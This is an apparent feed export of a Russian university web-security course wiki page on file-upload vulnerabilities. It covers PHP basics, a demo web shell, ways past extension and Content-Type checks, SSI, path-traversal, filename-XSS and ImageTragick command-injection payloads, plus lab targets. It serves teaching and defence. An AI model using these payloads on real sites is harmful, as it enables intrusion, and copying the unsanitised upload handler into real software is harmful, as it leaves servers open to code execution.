		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=314</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=314"/>
		<updated>2020-10-15T12:45:50Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Ссылки */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Задания=&lt;br /&gt;
* https://easy.stands.cyberschool.msu.ru/&lt;br /&gt;
* https://type.stands.cyberschool.msu.ru/&lt;br /&gt;
* https://hand.stands.cyberschool.msu.ru&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://drive.google.com/file/d/1Jep20CuBfcfKAeStwnHgR0gCf-O2Wgd0/view?usp=sharing Презинтация]&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
* [http://www.php.su/php/?php http://www.php.su/php/?php] - ещё один учебник&lt;br /&gt;
* [https://www.alchemistowl.org/pocorgtfo/pocorgtfo15.pdf Полиглоты]&lt;br /&gt;
* [https://drive.google.com/file/d/1Rz0RP5tKIWCmFDP3-_--VYu40ejWf48v/view?usp=sharing Валидация структурных типов]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=313</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=313"/>
		<updated>2020-10-15T12:43:02Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Задания */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
